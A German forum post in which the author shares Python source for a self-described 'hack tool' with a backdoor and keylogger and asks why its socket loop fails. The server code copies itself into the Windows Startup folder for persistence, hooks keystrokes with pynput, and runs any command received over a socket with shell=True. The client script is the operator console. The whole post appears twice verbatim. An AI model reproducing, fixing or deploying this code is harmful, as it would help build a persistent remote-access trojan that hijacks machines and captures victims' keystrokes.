Hacktool mit Keylogger
Verfasst: Sonntag 28. März 2021, 15:47
Hi,
ich habe ein kleines Hacktool geschrieben(Natürlich nur zu Testzwecken) mit einer Backdoor und einem Keylogger. Und ich habe folgendes Problem. Obwohl ich das ganze in einer while schleife geschrieben habe wird das versenden und recv mit socket nicht richtig ausgeführt. Es gibt keine Fehlermeldung und ich glaube das Problem liegt am Server und zwar genau bei dem Keylogger der mit der with funktion ausgeführt wird.
Hier ist der Server:
import shutil
import os
import getpass
import socket
import subprocess
import pynput
from pynput.keyboard import Key, Listener
import threading
username = getpass.getuser()
source = (os.path.abspath(os.getcwd()) + r'\spy.py')
destination = r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hack.pyw'.format(username)
shutil.copy(source, destination)
HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
server.listen(1)
def press(key):
print(key)
return False
def release(key):
return False
def accept():
while True:
client, client_addr = server.accept()
def main():
while True:
try:
with Listener(on_press=press, on_release=release) as l: #PROBLEMA
l.join()
command = client.recv(1024)
command = command.decode('utf-8')
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
client.send(output + output_error)
except:
1+1
a = threading.Thread(target=accept)
m = threading.Thread(target=main)
a.start()
m.start()
Client:
import socket
REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
while True:
try:
command = input('Enter Command : ')
command = command.encode('utf-8')
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode('utf-8')
print(f"Output: {output}")
except:
print('[!]Ein Fehler ist aufgetreten(Der Server ist entweder offline oder der Befehl sorgt für Probleme)')
ich würde mich sehr über eure Hilfe freuen
ich habe ein kleines Hacktool geschrieben(Natürlich nur zu Testzwecken) mit einer Backdoor und einem Keylogger. Und ich habe folgendes Problem. Obwohl ich das ganze in einer while schleife geschrieben habe wird das versenden und recv mit socket nicht richtig ausgeführt. Es gibt keine Fehlermeldung und ich glaube das Problem liegt am Server und zwar genau bei dem Keylogger der mit der with funktion ausgeführt wird.
Hier ist der Server:
import shutil
import os
import getpass
import socket
import subprocess
import pynput
from pynput.keyboard import Key, Listener
import threading
username = getpass.getuser()
source = (os.path.abspath(os.getcwd()) + r'\spy.py')
destination = r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hack.pyw'.format(username)
shutil.copy(source, destination)
HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
server.listen(1)
def press(key):
print(key)
return False
def release(key):
return False
def accept():
while True:
client, client_addr = server.accept()
def main():
while True:
try:
with Listener(on_press=press, on_release=release) as l: #PROBLEMA
l.join()
command = client.recv(1024)
command = command.decode('utf-8')
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
client.send(output + output_error)
except:
1+1
a = threading.Thread(target=accept)
m = threading.Thread(target=main)
a.start()
m.start()
Client:
import socket
REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
while True:
try:
command = input('Enter Command : ')
command = command.encode('utf-8')
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode('utf-8')
print(f"Output: {output}")
except:
print('[!]Ein Fehler ist aufgetreten(Der Server ist entweder offline oder der Befehl sorgt für Probleme)')
ich würde mich sehr über eure Hilfe freuen